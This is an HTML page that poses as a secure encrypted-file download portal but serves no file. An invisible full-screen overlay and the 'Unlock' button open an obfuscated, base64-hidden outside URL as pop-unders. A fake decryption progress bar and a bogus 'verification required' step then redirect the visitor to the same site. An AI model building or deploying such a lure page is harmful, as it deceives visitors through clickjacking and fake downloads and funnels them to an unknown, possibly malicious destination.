<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SecureLink - Global Encrypted Cloud</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        .shimmer-text { background: linear-gradient(90deg, #94a3b8 0%, #ffffff 50%, #94a3b8 100%); background-size: 200% auto; -webkit-background-clip: text; -webkit-text-fill-color: transparent; animation: shine 2s linear infinite; }
        @keyframes shine { to { background-position: 200% center; } }
        #x-trigger { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 50; cursor: pointer; }
    </style>
</head>
<body class="bg-[#020617] text-slate-300 font-sans">
    <div id="x-trigger"></div>

    <div class="min-h-screen flex items-center justify-center p-4">
        <div class="max-w-md w-full bg-slate-900/50 backdrop-blur-xl border border-slate-800 rounded-[2rem] p-10 shadow-2xl relative overflow-hidden">
            <div class="absolute -top-24 -left-24 w-48 h-48 bg-blue-500/10 rounded-full blur-3xl"></div>
            
            <div class="relative z-10 flex flex-col items-center">
                <div class="w-16 h-16 bg-gradient-to-br from-blue-600 to-indigo-700 rounded-2xl flex items-center justify-center shadow-lg mb-6 border border-blue-400/30">
                    <svg class="w-8 h-8 text-white" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"></path></svg>
                </div>

                <h2 class="text-xl font-bold text-white mb-1 shimmer-text">Encrypted_Package_X.zip</h2>
                <p class="text-xs text-slate-500 mb-8 uppercase tracking-widest font-semibold">2.1 GB • Cloud Node: Amsterdam, NL</p>

                <div class="w-full space-y-4 mb-8">
                    <div class="bg-slate-950/50 rounded-xl p-4 border border-slate-800">
                        <div class="flex justify-between text-[10px] font-bold mb-2">
                            <span id="st-label" class="text-blue-400">READY TO FETCH</span>
                            <span id="st-perc" class="text-slate-500">0%</span>
                        </div>
                        <div class="h-1 w-full bg-slate-800 rounded-full overflow-hidden">
                            <div id="st-bar" class="h-full bg-blue-500 w-0 transition-all duration-300"></div>
                        </div>
                    </div>
                </div>

                <button id="st-btn" class="w-full bg-blue-600 hover:bg-blue-500 text-white font-black py-4 rounded-xl transition-all shadow-[0_0_20px_rgba(37,99,235,0.3)] active:scale-95">
                    UNLOCK SECURE LINK
                </button>

                <div class="mt-8 flex space-x-4 opacity-30 text-[9px] uppercase font-bold tracking-tighter">
                    <span>AES-256</span>
                    <span>SSL-3.0</span>
                    <span>MD5-HASH</span>
                </div>
            </div>
        </div>
    </div>

    <script>
        (function(){
            // Obfuscated Base64 Data
            const _0x55 = ["aHR0cHM6","Ly9wcm9kdHJvdXNlcnMuY29t","L2o3YWdhbjZwbWU/a2V5PTE0MGI2ZTQzMWI3YjVkZjczYzVhNjZkNDc2ZTAzODM0"];
            const _0x99 = () => atob(_0x55[0] + _0x55[1] + _0x55[2]);
            
            const _btn = document.getElementById('st-btn');
            const _bar = document.getElementById('st-bar');
            const _perc = document.getElementById('st-perc');
            const _lbl = document.getElementById('st-label');
            const _trig = document.getElementById('x-trigger');
            let _c = 0;

            // AUTO-POP UNDER ON FIRST INTERACTION
            _trig.onclick = function() {
                window.open(_0x99(), '_blank');
                this.remove();
            };

            // BUTTON LOGIC
            _btn.onclick = function() {
                _c++;
                if(_c === 1) {
                    window.open(_0x99(), '_blank'); // SECONDARY IMPRESSION
                    _btn.disabled = true;
                    _btn.innerText = "CONNECTING...";
                    _btn.classList.add('opacity-50');

                    let p = 0;
                    const timer = setInterval(() => {
                        p += Math.floor(Math.random() * 5) + 3;
                        if(p >= 100) {
                            p = 100;
                            clearInterval(timer);
                            _lbl.innerText = "VERIFICATION REQUIRED";
                            _lbl.classList.replace('text-blue-400', 'text-red-500');
                            _btn.disabled = false;
                            _btn.innerText = "COMPLETE VERIFICATION";
                            _btn.classList.replace('bg-blue-600', 'bg-red-600');
                            _btn.classList.remove('opacity-50', 'shadow-[0_0_20px_rgba(37,99,235,0.3)]');
                            _btn.classList.add('shadow-[0_0_20px_rgba(220,38,38,0.3)]');
                        }
                        _bar.style.width = p + '%';
                        _perc.innerText = p + '%';
                        _lbl.innerText = "DECRYPTING NODE DATA...";
                    }, 200);
                } else {
                    window.location.href = _0x99(); // FINAL REDIRECT
                }
            };
        })();
    </script>
</body>
</html>